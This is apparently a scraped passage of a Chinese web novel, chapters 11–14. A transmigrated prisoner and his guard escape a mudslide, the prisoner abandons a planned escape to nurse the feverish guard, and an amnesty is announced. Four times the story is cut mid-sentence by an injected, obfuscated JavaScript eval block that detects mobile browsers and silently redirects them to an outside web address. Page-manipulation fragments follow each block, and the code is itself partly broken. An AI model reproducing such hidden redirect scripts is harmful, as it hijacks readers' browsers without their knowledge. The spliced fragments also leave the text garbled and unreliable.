姜淮对破案的细节了解不多,但是这地上的脚印还是很容易暴露萧靖昭的存在,虽然不知道这个查案的衙役会不会这么尽责,但是以防万一吧。
“你……”萧靖昭皱眉,只是不等他的话说完,姜淮忽然抬头四处看看,打断了他的话。
“魏哥,你听到了声音吗?”
沙沙声,但是和雨水声又有些区别,而且远处似乎还一道沉闷的响动。
姜淮忽然想起这些天下的雨,脸上瞬间惨白。
11. 第 11 章
秋季多雨的山区容易爆发什么自.然.灾.害,如果是一场考试,姜淮会很自然的提笔写上山洪,泥石流。
可真当他在山区,哪怕连着几天下了雨,可姜淮依旧没有想过会出现泥石流。
可现在,听着远处沉闷的声响,姜淮寒毛倒竖。
“怎么了?”萧靖昭注意到姜淮的不对劲。
“发、发泥石流了!我们快跑!”雨水早已将身体淋湿,姜淮颤抖着说完,一把拉上萧靖昭。可天太黑,哪怕他猜测可能有泥石流,也看不清泥石流是从哪边来的,更不知道要朝哪个方向跑。
四周仿佛一张张噬人的巨口,姜淮手足无措,留在原地碰运气,姜淮又怕自己运气没有那么好。
“泥石流?”萧靖昭疑惑。
“是走蛟。”姜淮脸色苍白的解释。
这个词萧靖昭懂了,深色肃然,刚才的声音萧靖昭也听到了,但没有多想,现在被姜淮点破,他顿时意识到危险了,尤其是发现声音竟然越发的近了,萧靖昭来不及多想,反手握住了姜淮的手,拉着姜淮就跑。
临近的声音姜淮此时也听到了,脸色苍白如纸,刚才他还想着要是泥石流离他们这边远,或许没什么危险,可现在这越来越近的声音直接打破了他的幻想。
“往高处走,泥石流会沟谷里走,高处可以躲避。”姜淮大声道。
他对这附近的地形不熟悉,也不知道哪里算是高处,现在也只能寄希望于萧靖昭了,对方刚才一路找过来,应该对附近的地势有所了解。
姜淮的猜测不错,萧靖昭确实记得附近的山势,听到姜淮的话,拉着姜淮朝一个方向而去。
轰隆声越来越近,越来越大,姜淮被萧靖昭拽着,几乎是连滚带爬,隐约间,姜淮甚至能听到远处的哭喊声,但是泥石流的声音太大了,很快就将这声音淹没了。
姜淮他们算是发现的早,跑的也快,可泥石流的速度太快了,姜淮听到身后越来越大声音,不敢回头,咬牙往前跑。
走了一天的山路,姜淮早就累了,更别提刚才和孙勇的一番搏斗,又被勒了脖子,更是消耗了他所剩不多的体力,这么一阵跑下来,姜淮只感觉眼前发黑,都快要喘不过气。
山林里的路本就难走,白天这样跑都很难不摔倒,更别提晚上。
姜淮没看到脚下的树根,直接被绊倒,摔了一个狠的,而这一摔,直接姜淮彻底脱力。
萧靖昭回头,不等姜淮起身,直接将他拽了起来,几乎是拖着姜淮往前跑。
姜淮大半个身体的重量都压在萧靖昭身上,能听到对方粗重的呼吸声,显然在山路上这样拽着个一人走,也是很耗费体力的。
“你……”姜淮喘着开口。
“闭嘴。”萧靖昭道,说完就闭口不言。
姜淮不知道自己被萧靖昭拖着跑了多久,只感觉身后恐怖的声响渐渐被甩开,萧靖昭才停了下来。
“我们……我们逃出……出来了吗?”姜淮气喘吁吁道。
“不确定。”萧靖昭摇头。
“可,我们不是已经避开了?”姜淮扭头看向身后,夜色沉沉,看不清后面是什么情况,但是声音已经远去,应该是安全了吧。
“如果只有那里发了走蛟,我们是安全了,可要是不止一处……”
姜淮沉默,也就是说,这里也不能算安全,只是暂时安全,没事就还好,有事可能就。
不过很快,姜淮就没有精力去想这些事,秋风吹过湿掉的囚服,直接让姜淮抖了抖,意识到除去泥石流,他还有失温的危机。
山林里气温有多少度姜淮不清楚,但是这湿掉的衣服继续穿在身上,不断吸收身体的温度,可能不用等泥石流,他就会因为失温而死。
如果他没看错的话,附近似乎有个山洞,可以当个临时的庇护所。
姜淮一说,萧靖昭沉默的点点头,跟着姜淮去了。
“魏哥,你带了火折子吗?”姜淮问道。
萧靖昭沉默点头。
确定这个消息,姜淮也振奋了一些,有火就能取暖,就不至于冷死了,这要是没有火折子,想在这种湿度下钻木取火,难度地狱级。
往山洞走的路上,姜淮赶紧捡了一些柴火,要是放以前,他可能都不知道什么样的柴火好烧耐烧,怎么在这种雨水多的时候捡稍微干燥点的柴火,但是经过这些天的锻炼,姜淮捡起柴火来非常快,还找了一些比较轻的引火的。
毕竟现在的柴火都有些湿,引燃不易。
不用他开口,萧靖昭主动也捡起柴火
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376184|141020||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
来。
等两人走到看到的洞穴,两个人都拾了一堆柴火。
吹亮火折子,引火,烧柴,忙乎了一阵,姜淮才将火烧起来。
姜淮赶紧又将湿度比较大的一些树枝插到火堆边上,一方面是让这些柴烤的干一些,不然待会烧起来烟雾很浓,特别呛人,二来也是用这些树枝当衣架,把衣服给烘干,不然湿衣服在身上只会不断吸收身体热量。
虽然到了山洞这边没有风了,可湿衣服在身上依旧让人冷的瑟瑟发抖。
萧靖昭观察完四周,确定这个地方不会太危险,一回头就看到姜淮将衣服都脱光了,衣服也已经挂到一旁的树枝上,正蜷缩着身体烤火。
“魏哥,你也赶紧把衣服脱了吧,全湿了,烤干点才保暖。”姜淮招呼道。
萧靖昭沉默了一瞬,摇摇头,直接在火堆边坐下,穿着烤起了火。
姜淮有点想劝几句,只是看萧靖昭板着脸的样子又放弃了。
火苗的热度让姜淮全身都暖和起来,要不是柴火不够,姜淮都想生两堆火,前胸后背都烤一烤,实在是太暖和了。
暂时脱离了泥石流和失温的危险,姜淮就控制不住的想到了之前的事,心又沉了下去。
孙勇死了不是小事,等查出来,他也是难逃一死。
如果是泥石流发生之前,姜淮也没有什么想法,可现在……
山里发生了泥石流,流放队伍那边应该也是乱成一团,他要是趁这个机会跑了,是不是会被人误以为死在泥石流里,找不到尸身也很可能。
逃跑的念头再次升起,并且愈演愈烈,哪怕知道逃走之后可能会有危险,可早死和晚死的区别并不算大,姜淮还是想搏一把。
而且他之前逃跑可能还会连累萧靖昭,但是这次,哪怕被人查出他没有死,也没人知道萧靖昭是和他在一起,有泥石流这个意外在,也不至于牵连对方。
现在唯一的问题就是萧靖昭看他想逃走,会不会试图阻止他。
姜淮很清楚,如果萧靖昭要阻止他的话,那他是没有办法逃走的。
借着火光,姜淮小心的看了眼萧靖昭,萧靖昭半眯着眼睛,似乎有些困了。
姜淮心如擂鼓,安静的烤着火,放在心口的拳头却攥的紧紧的。
12.第 12 章
衣服很快就烤干了,姜淮赶紧穿上,注意到身上囚衣的样式,姜淮眉头微皱,如果他要逃跑的话,这衣服也是个麻烦,需要换掉,只是这换衣服大概就只能去农户家偷拿,要是他身上有银子到底可以暗地里留下银子,可他身上没有。
姜淮忽然有些后悔,孙勇当时被砸死的时候,他就忘了搜身,要不然身上也能有点银子了。
只是那时候也没有逃跑的想法,拿银子也没用,现在多想无益。
姜淮再次看向萧靖昭,不知道是不是跑这么一阵有些累了,萧靖昭半依靠着山壁,似乎是睡着了。
有这么累吗?
姜淮脑中闪过一丝疑虑,可更多的是惊喜,如果萧靖昭睡着了,那他就不用再想办法怎么逃走,直接就可以走了。
唯一的问题就是现在离开,就怕泥石流还没有结束,但姜淮觉得他可以再找个地方躲起来,只要能熬过一.夜,就能想办法下山。
至于下山后能做什么求生,姜淮一时半会也想不出来,可总好过等死吧。
姜淮的神色在焰火的跳跃中明灭不定,眼见萧靖昭睡得越来越沉,悄无声息的起身,往火势小了些的火堆里添了些柴,确保柴火可以再多烧一会,才转身离开。
姜淮只顾着离开,却没有注意原本睡着的萧靖昭已经醒了,沉默的看着他远去的背影,眼神冰凉,重新闭上眼睛。
往外走了一段路,姜淮眼睛一亮,发现了不远处有个隐蔽的藏身之地,赶紧小跑过去,准备就在这待一晚上,只是为了躲避可能找过来的萧靖昭,姜淮不打算烧柴取暖。
但刚才在火堆面前待了那么久,身上早就暖和起来了,加上雨也停了,姜淮觉得自己还是能撑过去。
靠在土壁上,明明没有跑出多远,但姜淮却感受到了久违的自在感。
尽管和其他皂卒比,萧靖昭对他的态度宽和不少,可作为囚犯,姜淮也没办法太自在。
说实话,能坚持这么久情绪没有崩溃,姜淮都感觉自己挺能吃苦的。
姜淮蜷缩着抱住自己,想起现代的亲戚朋友,老师同学,泪珠滚落。
可又不敢哭的太大声,怕万一萧靖昭找过来,循着哭声找到自己,只能捂着嘴巴将哭声全都咽了下去。
忽的,姜淮听到了一阵沙沙声,像是有人走了过来,精神极度紧绷起来,脸上还挂着泪珠,但是身体却已经紧紧的贴着土壁,生怕自己被来人发现。
沙沙声越来越近,姜淮神经紧绷到了极点,以为自己的这次出逃失败,就看到一只伏地而行的动物从旁边路过,显然刚才发出声音的是它。
姜淮猛地松了口气,发现才这么一会,他就被惊出了一头的冷汗,姜淮赶紧擦干,避免冷汗加风吹的头痛,他现在要是病了可没钱治病。
重新放松下来,姜淮心底闪过一个疑惑,萧靖昭今天睡得这么沉吗?
姜淮和萧靖昭接触的时间长,自然清楚对方有多浅眠,稍微有点动静就会让对方惊醒,可过去这么久了,萧靖昭还没有找过来。
要么就是他还在睡,所以没有发现自己逃走了,要么就是他发现了,然后默许自己逃走。
两种可能相比较,姜淮觉得还是后一种可能性比较大,意识到这点,姜淮松了口气。
只要躲过这晚,趁着早上天色还算亮,他再跑一阵子,说不定就真的可以逃走了。
姜淮不断地推演着之后要怎么做,才能彻底的逃脱追捕,想了好一会,都感觉有些困了,决定先睡一会,明天有场硬仗要打,如果现在休息的不好,到时候就没有办法打起精神来了。
只是临睡前,姜淮心底总有些不踏实,不知道是不是因为逃跑过于顺利。
等等……
姜淮猛地一惊,他想起来是哪里不对劲了,按理来说,他们刚刚逃了一路,萧靖昭不该那么快就睡着,毕竟萧靖昭自己也说过危险可能还没有过去,可对方烤着火就那么睡着了,甚至还睡得很沉。
那这种睡,除了睡得沉之外还有一个可能,那就是昏迷。
昏迷?
难道是他拉着自己逃跑的时候伤到哪了?
姜淮绞尽脑汁的回忆,可刚才一通逃跑,他满脑子都是逃跑的辛苦劳累,萧靖昭怎么样他都没有太多的印象,可现在想想,萧靖昭喘气似乎太粗重了些,而且现在回忆一番,萧靖昭牵着他的手似乎也有点热。
难不成是淋雨后发热了?
姜淮僵住,他很想说服自己或许不是这样,可越是如此,越能回忆起更多的细节来,佐证他刚才的猜测。
姜淮坐立难安,萧靖昭发热昏迷这件事超出了他的预期,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13388453|141020||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在姜淮看来,自己出逃,最差不过就是逃跑失败,然后噶了,萧靖昭不至于有什么危险。
可现在就不一定了,哪怕他临走的时候添了些柴火,可柴火也烧不了太久,没有火驱赶野兽,萧靖昭又是昏迷的,会遇到什么危险都说不定。
而且火灭了,就这么冷着,萧靖昭有没有可能病情更重,甚至病死,这都说不好。
姜淮握紧拳头,想不去想这件事,或许情况没有他猜测的这么糟糕呢,可是萧靖昭之前做的事在他眼前浮现。
不说这次萧靖昭从孙勇手下救他,然后又在泥石流当中拖着他逃离,就前几天,因为雨水多,地面湿滑,姜淮爬一个山坡的时候脚下一滑,差点从坡上摔下去。
如果只是土坡,摔下去都能将姜淮摔出一个好歹来,更别说坡底下还有一堆碎石,这要是从坡上滚的撞上去,头破血流都是轻的,还有可能骨折。
这时候要是骨折,不说皂卒会不会找大夫来帮忙看病,就是药钱,姜淮都掏不出来,更别说养伤,就这么上路的话,后遗症就在后面等着他,就算之后生活条件改善,都可能没有办法弥补这时候的损失。
好在萧靖昭在他边上,注意到情况不对,一把拉住了姜淮,姜淮才没有直接摔下去。
姜淮猛地起身,马不停蹄的往回走,好在他还记得之前的路,加上萧靖昭身边的火堆没有熄灭,注意到火光后,姜淮就知道自己又回来了。
看着远处跳跃的火光,姜淮脚步不自觉的顿住,朝身后看了一眼,捏紧拳头继续往前走。
不过在走近前,姜淮还没忘记拿起刚才找的一些柴火,然后装作什么都没有发生的走了回去。
虽然知道可能瞒不过什么,但是拿着柴火能让他少点心虚。
将柴火放到一边,姜淮看向萧靖昭。
萧靖昭眉头皱起,脸色在火光的映照下显得有些红,姜淮伸手摸向他的额头,谁知还没有摸到,萧靖昭一把将他的手攥住,睁开了眼睛。
“你不是已经走了?”萧靖昭声音有些沙哑,但却异常平静。
姜淮心底一跳,他的两个猜测居然都猜中了,萧靖昭是昏迷了,但是也发现他逃走了的事。
姜淮可以辩解,毕竟他还抱着柴回来了,只是对上萧靖昭清明的眼睛,狡辩的话却说不出来。
13.第 13 章
“走了,看你没有追过来,回来看看你怎么了。”姜淮道,再次伸手,这次萧靖昭没有拦着,任由姜淮摸上去。
“怎么烧的这么厉害?”入手滚烫,姜淮脱口而出。
就算是淋雨发烧,也不至于在这么短的时间里发热到这个程度,除非萧靖昭之前就发热了,而淋雨加重了他的病情。
姜淮忽然想起,今日萧靖昭和往日相比,似乎更沉默一些,只是他平时就比较安静,再安静一点也看不出什么特殊的,只是现在发现他病了,这才看出了一点端倪。
不过现在也不是猜测萧靖昭什么时候病的,而是要控制住他的病情。
现在没有办法下山去找大夫,不说可能存在的泥石流,晚上山路都看不清,万一走山路摔一下,要命的速度可能比生病还快。
“冷静一下,别慌。”姜淮感觉脑子很乱,低声喃喃安抚自己。
发烧最主要的是降低体温,不然长时间的高烧可能会把脑子烧坏,酒精擦拭什么的现在是没有条件,现在只能用湿布擦一擦降温,只是降温的同时还是得注意保暖,不然病情又会加重。
确定好了行动方向,姜淮开始行动,他们身上都没有多余的布在,好在囚服比较宽大,姜淮将衣摆撕了一圈,打湿后盖到萧靖昭额头上。
只是光额头降温还不够,姜淮记得自己小时候发烧,家里人会给他擦拭耳后,脖子,腋下,四肢。
姜淮看看衣摆,囚服因为不合身,所以格外的宽大,哪怕撕掉了一圈,看起来还是显长,之前他觉得囚服太大,穿在身上不合身,现在看来衣服大点也是有好处的。
姜淮默默的又撕了一圈,重新打湿布条,给萧靖昭擦拭脖颈。
姜淮没有注意到,在他的手触碰到脖颈时,萧靖昭身体微颤,睁眼看见是他后才放松了一点。
脖颈耳后都好擦拭,毕竟是暴露在外面的,但是腋下四肢,姜淮看着还在昏睡的萧靖昭,低声解释了一下,然后继续。
姜淮一边给萧靖昭擦身,一边还要注意额头上的湿布有没有变热,热了就要赶紧换个面,等他擦完一遍,姜淮累的气喘吁吁。
只是姜淮也没有时间歇息,他得赶紧再去准备点可以喝的水,发烧的人会很渴,而喝点水对病情也有好处。
姜淮摸着胸.前挂着的水壶,庆幸自己没有把水壶放下,不然现在想烧点水喝都做不到了,虽说竹水壶用来烧水会把外壳烧焦,但现在这个情况,也由不得他太珍惜水壶了。
姜淮记得这附近虽然没有溪流,但是因为下雨,附近好像有些小石坑,应该是积了一些水,直接喝不太行,但是烧开的话应该还好。
姜淮起身就要走,只是刚走出一步,就被人一把拉住了衣摆。
萧靖昭此时已经烧的迷糊了,虽然下意识的拉住了他,但却一脸茫然。
“我去给你找点水来,你先歇一会,我很快回来。”姜淮心软了一瞬,低声哄道。
不知道萧靖昭听没听懂,只是在姜淮的低声轻哄下,定定的看了姜淮一眼,然后才松开手。
临走前,姜淮再摸了摸萧靖昭的额头,发现紧贴着的那面布条已经热了,赶紧又翻了一面,这才赶紧离开。
萧靖昭病了,姜淮哪怕取水也不敢走的太远,匆匆取完水就赶了回来。
架上水壶烧水,烧水的间隙给萧靖昭擦身降温,姜淮忙了一宿,等到看见天空明亮起来,才意识到一晚上过去了。
“好像不烧了。”姜淮摸了下萧靖昭额头,松了口气。
只是这一口气松下去,让姜淮也有些支撑不住,他一晚上没有休息,看着天色明亮,忍不住倒头睡了过去。
这一觉又深又沉,从梦中醒来时,姜淮甚至都忘了自己穿越的,还以为自己在学校,下意识的挨着枕头蹭了蹭,想要打个滚。
只是才蹭完,还没有等他开始打滚,一只手就抓住了他。
姜淮懵逼的睁眼,看到坐在一旁的萧靖昭,对方除了脸色有些苍白,完全看不出之前高烧了一.夜。
姜淮猛地想起自己是怎么困的睡过去的,整个人都清醒了,下意识往萧靖昭和自己身上看去,没有发现什么伤口,姜淮这才松了口气,在山上,两个人都彻底昏睡过去也太危险了。
姜淮正要开口说些什么,忽然远处传来了呼喊声,而那音色有些熟悉。
皂卒们找来了!
尽管回来的时候就做好了被抓回去的心理准备,可当这一幕真的发生时,姜淮还是不由得有些畏缩。
“尸体不见了,你就当什么都没有发生,你出去是去见我,也只见到了我。”萧靖昭压低声音道。
姜淮眼睛瞪大,还不等他追问什么,已经有皂卒过来了。
看到姜淮和萧靖昭在这里,兴奋的喊道:“张头,人在这。”
皂卒实在没办法不兴奋,昨天突发泥石流,流放队伍差点就四散奔逃,还好有张头控制,才能汇聚在一起逃跑,而这一跑,到了安全的地方才发现有人不见了。
不见的两个皂卒都还算小事,最主要的是姜淮也不见了。
姜淮可是整个流放队伍中最要紧的一个囚犯了,对方若是逃走了,那他们都要吃一顿收拾,说不定还会被严刑拷打,怀疑是他们里应外合才让姜淮逃走的。
只是大晚上的,外面又不安全,哪怕知道该快点出去找,可皂卒们还是不敢出去,毕竟现在出去说不定就早死了。
直到天光亮起来,山林里能稍微看清一些,他们就赶紧安排了一些人出来寻人,之所以不敢全出来,也是担心囚犯见姜淮一.夜未归,也有了别的想法。
这要是让其他囚犯也跑了,那就更麻烦了。
张头脚步匆匆的赶了过来,看到姜淮后怒气冲冲,几步上前,一巴掌甩了过去。
只是巴掌并没有落到姜淮脸上,而是落到了萧靖昭手上,发出一声清脆的‘啪’响。
看到挡在姜淮面前的萧靖昭,张头恼怒道:“让开。”
“姜淮是我看守。”萧靖昭直视张头,淡淡道。
如果姜淮做错了什么事,要教训,那也是由他来动手。
张头阴晴不定,作为领头的,他可以把姜淮的看守职责分配给萧靖昭,但是也可以夺走,可问题来了,如果将姜淮的分配职责从萧靖昭手里拿走,那分给谁呢?
张头回头,其他皂卒显然也意识到这点,纷纷避开他的目光。
在他们看来,姜淮这里又榨不到油水,昨晚张头的焦虑又让他们明白姜淮的重要性,这么个人落自己手上,又要小心看守,可比看守其他囚犯要麻烦的多,还不如
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13404891|141020||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
就让萧靖昭看守呢。
万一出什么事,还可以把锅推到萧靖昭身上,他们只是受一点牵连。
张头看着其他皂卒缩头缩脑的样子,脸色有些难看,其他皂卒都不愿意的话,他就算强迫对方接手,也要分神看顾一会,那还不如自己接手。
可自己接手,那责任就全在他身上了。
犹豫片刻,张头对上萧靖昭平静无波的眼神,脸上有些挂不住。
“你们看到孙勇了吗?”张头转移话题,问道。
萧靖昭淡然的摇摇头,姜淮赶紧也跟着摇头。
张头倒是没有多怀疑,毕竟问姜淮和萧靖昭之前,他就先问过其他囚犯,知道姜淮是去找萧靖昭了。
而孙勇偷偷离开营地前也是随便找了个借口,帮忙带话的囚犯也只以为是萧靖昭委托孙勇带话,完全没有多想,而现在就算知道孙勇失踪了,可也不敢多想,毕竟作为囚犯掺和进去没好处。
张头低声骂了一句,也不想再看到两人,转身又带着皂卒找起来,同时让萧靖昭押送姜淮回营地。
目送张头离开,姜淮忍不住开口:“刚刚……”
“别说话,回去吧。”萧靖昭打断姜淮,低声道,嗓音还有些沙哑。
姜淮看了眼萧靖昭,把心中复杂情绪压了下去,伸手扶住萧靖昭,他还记得萧靖昭退烧没多久,说不定脚下都没有力气,万一摔一下就不得了。
萧靖昭垂眸看着姜淮扶着他的手臂,倚靠在姜淮肩头。
姜淮感觉半边身子沉了一下,好在他这些天锻炼过,也能支撑一点,咬牙搀扶着萧靖昭回到营地。
营地里乱糟糟的,不管是囚犯还是皂卒都一副精神萎靡的样子,显然昨晚的逃命也让他们精疲力竭,看到两人回来,不少囚犯都显得有些失望。
“居然这么快就找到了。”
“还以为可以多歇一会,看来过不了多久就要上路了。”
“不是还有个没有回来吗?要是出事了,又能多歇会了。”
听到囚犯们的议论,姜淮哪怕早就知道这些囚犯是什么人,也不禁心中微寒。
“先去休息,不然待会上路,你走不动。”萧靖昭淡漠的看向其他囚犯,低头说道。
姜淮点头,他确实没有休息好,虽说刚才歇了一会,可真要在他泥泞的山路上行走,指不定就因为精力不济而踩错了路,放平时还有萧靖昭,可萧靖昭眼下也病了,显然是不可能拉他一把。
姜淮将萧靖昭送到皂卒睡的棚子里,正准备回囚犯的棚子,却被萧靖昭一把拉住。
“还有什么事吗?”姜淮说。
萧靖昭拍拍身边的铺盖:“你也睡这里。”
“可是……”姜淮犹豫,如果可以的话,他当然是想睡皂卒的棚子,这边更暖和,但是这样做是不是太过了些。
“安心睡吧,其他人不会有意见。”萧靖昭神情倦怠,语气却很是坚定。
“那,那我睡了,有什么事就喊我。”姜淮感觉困意一阵阵的袭来,也顾不得多推辞,躺下后就迅速的睡着了。
看姜淮之前那么忧郁,萧靖昭还以为他会折腾好一会才睡着,谁知道姜淮居然躺下就睡着了,差点让萧靖昭气笑了。
定定的看了姜淮许久,萧靖昭终于闭上眼睛,沉沉睡去。
14.第 14 章
睡梦中,姜淮感觉浑身凉飕飕的,哪怕紧紧地抱住自己也阻挡不了热量的消散,这让他万分焦虑。
好在他很快就发现了一个大抱枕,似乎还自带发热功能,姜淮一本满足地抱住抱枕,恨不得将四肢都贴到抱枕上去。
而这么一抱,抱枕似乎还有些不情愿,想要从他手下挣脱。
姜淮哪里能容忍这种事,抱枕生来就给人抱的,怎么能跑,低声嘟囔了几句,然后一把抱住,手脚并用,最后才让抱枕放弃了逃跑的念头。
姜淮心满意足地蹭了蹭抱枕,继续熟睡。
而现实中,萧靖昭脸色发黑地看着姜淮,他没想到姜淮睡着之后居然这么难缠。他本来也睡熟了,姜淮刚靠过来时他还没有醒,可被一直抱着,还是抱得特别紧,萧靖昭想继续睡下去都难。
萧靖昭倒是想让姜淮放开他,可越是拉扯,姜淮反而越抱越紧,哪怕喊他几声,人也依旧睡得深沉。
萧靖昭不想耽搁休息的时间了,罢了,不过就是抱着,他现在也有些冷,有个人暖被窝也挺好的。
等姜淮再次醒来,只感觉这一觉睡得无比满足,一侧头,就发现萧靖昭像是个洋娃娃一样,被他紧紧地搂住了,他甚至直接埋在对方怀里睡觉。
姜淮身子一抖,下意识退出了三步,看着自己手上的印痕,再次回忆起自己刚才的梦,顿时蒙了。
萧靖昭应该不知道吧!
姜淮想安慰自己,但是梦境里抱枕的挣扎还记忆犹新,姜淮想欺骗自己都做不到,只能待在原地做了一番心理建设,睡觉的自己不是自己,要是萧靖昭找他算账,那就让他找睡觉的自己吧。
姜淮没发现,经过逃跑又放弃,逃跑的事还被萧靖昭知道了,他反而没有之前那么紧张了,处于一种随遇而安的状态。
棚外传来一阵喧哗声,姜淮立刻被转移了注意力,侧耳细听,发现是张头他们回来了。
张头带着其他皂卒找了一大圈,可还是没有孙勇的踪影。
“张头,怎么办?”有皂卒开口问道,押送囚犯的时间宝贵,他们不可能一直在这里待着,更何况昨晚的泥石流属实有点吓到他们了,若是可以的话,他们还是希望早点翻过这座山。
不然,昨晚是人还醒着,跑得快躲过了,再来一次,谁知道会是什么结果。
更何况不少皂卒都觉得孙勇大概是被泥石流埋了,或者冲到其他地方去了,不然孙勇只要还在附近,他们找了这么久,不可能连点踪迹都找不到,如果是要找孙勇尸体,那就太耽误事了。
张头也清楚不能太耽误事,考虑片刻决定先带着囚犯们下山,等到了山下,再和当地官府说明情况,让当地衙役帮忙找找看。
若是孙勇还活着找过来,就让他赶紧追上来,只是对此,张头并不抱希望。
一行人迅速下山,找到当地衙役说明情况后,衙役明面上一口应下,但是张头看得出来,这些衙役怕是不会多出力去找孙勇了,毕竟这么一番折腾,只为了找一个皂卒,没谁会有这么闲。
“张头?”见到张头从府衙出来,有皂卒迎了上去,试探着询问。
“府衙说会派人去找,我们即刻就准备动身吧。”张头沉默了片刻道。
“不再找人吗?”皂卒回头看了看押送的囚犯,问道。
“距离安远府也没多远了,就这么点路程,就不找新人了。”张头摇头,不是他不想找,而是他一提,府衙内的小吏就不太高兴了,而问一圈,得知他们是去安远府,也没有皂卒愿意过去。
显然,都是知道这群囚犯都走到这里,身上的钱财已经压榨光了,他们也捞不到什么好处。
姜淮一直担心孙勇的失踪会引来皂卒官府的追查,可看到张头从衙门出来,就这么轻率地结事了,不由得有些震惊。
就这么轻巧地过去了吗?
“因为我们是过客,人离乡贱。”
晚间,看姜淮还在纠结这个事,萧靖昭低声解释了一句。
如果孙勇是在老家失踪,那自然会有人生要见人,死要见尸,只是在远离故乡的外地,张头他们不可能长久待在本地,又是泥石流时失踪的人,其他人下意识都觉得他是被泥石流冲死的,自然也不会去多想。
而正因为泥石流,其他人也会觉得去找孙勇太麻烦了,即便找到了也不会给自己增添多少好处,自然也就这么过去了。
“那他……”姜淮抬头,他还记得萧靖昭早上说过的话。
“我去看过,已经不在了。”萧靖昭敛眉,他去看,是想看看孙勇还在不在,没想到姜淮的运气还是不错,泥石流将一切都淹没了。
尽管萧靖昭没有解释他为什么会回头去看,可姜淮总觉得就是因为他。
姜淮沉默片刻后再次开口:“魏哥,你之前教我的那些杀招,还可以再教我一次吗?”
“你现在想学了?”萧靖昭说。
“可以不用,但是不能不会。”姜淮还是坚定他之前的想法,但是经过之前一遭,姜淮的观念还是稍微有些改变了。
说起来,杀招是没有错的,人怎么用才是问题所在。
听出姜淮的死硬,萧靖昭轻哼一声,却没有再说什么。
……
“今天不动身吗?”姜淮一大早起来,吃过萧靖昭拿来的饭食和饮水,有些奇怪。
按理来说现在应该动身走了,怎么又不走了,难道是出什么事了?
问题没有得到回答,姜淮看向萧靖昭,发现对方似乎是情绪有些不对劲,姜淮和萧靖昭相处了这么久,多少能感知到对方的情绪变化。
“你怎么了?”姜淮下意识拉了拉萧靖昭的衣摆,让萧靖昭回过神来。
“没什么。”萧靖昭摇头
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13423387|141020||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,“封后大典,陛下大赦天下,所以一些囚犯就不用去安远府了。”
毕竟流放也是分等级的,安远府算是最苦寒的地方了,运气好点的囚犯就会去宜阳府,昌西府。
其他囚犯都偷偷地听着两人的对话,听到萧靖昭说大赦天下后,所有囚犯脸上都露出喜色,这可能是他们唯一一次改变未来的机会了。
不少囚犯都盘算着,以自己的罪名,有没有可能减罪,若是能回老家,那说不定还能回归正常生活了啊。
看到其他囚犯高兴的样子,姜淮也有点心动,只是萧靖昭的话直接打破了他的幻想。
“你不行,姜家牵涉谋逆之罪,遇赦不赦。”萧靖昭沉声道。
姜淮有点失望,但是没完全失望,因为他也知道自己身上的罪名是什么,哪怕对这个世界的刑法不太了解,也清楚自己的待遇不可能和其他囚犯差不多。
对于封后的事,姜淮并没有多在意,在他看来,这事离自己还挺远的。
因为大赦的事,囚犯们有不少要分出来,押送到其他地方去,而皂卒们也在想办法让自己跟过去。
还是那句话,囚犯的银子压榨得差不多了,后面行动都是吃苦,能早点完成任务回去,谁不想早点走。
“大赦天下,这些犯人运气还真好,这都能被他们碰上了。”
“我们不也运气好,银钱拿到手了,要是负责押送,还能早点回去领赏银。”
“这倒也是,都好都好,不过那姜淮……这大赦天下也沾不到一点好处。”
“他能沾什么好处,你忘了姜家的罪名了,这继后能上位,看来姜家是彻底不能翻身了。”说话的皂卒挤眉弄眼了一番,两人一阵嬉笑,但是也不敢说太多,闲聊起其他话题。
听着皂卒的谈话,姜淮忍不住叹了口气,身上背负谋逆之罪,哪怕他在安远府能努力改善生活,可也没有办法安稳太多,因为这个罪名太重了。
可以说,哪怕皇帝驾崩了,姜家还是要被这个罪名压进土里,不得翻身,除非有人造反,建了新朝廷,而姜家辅佐对方,那姜家才有可能翻身。
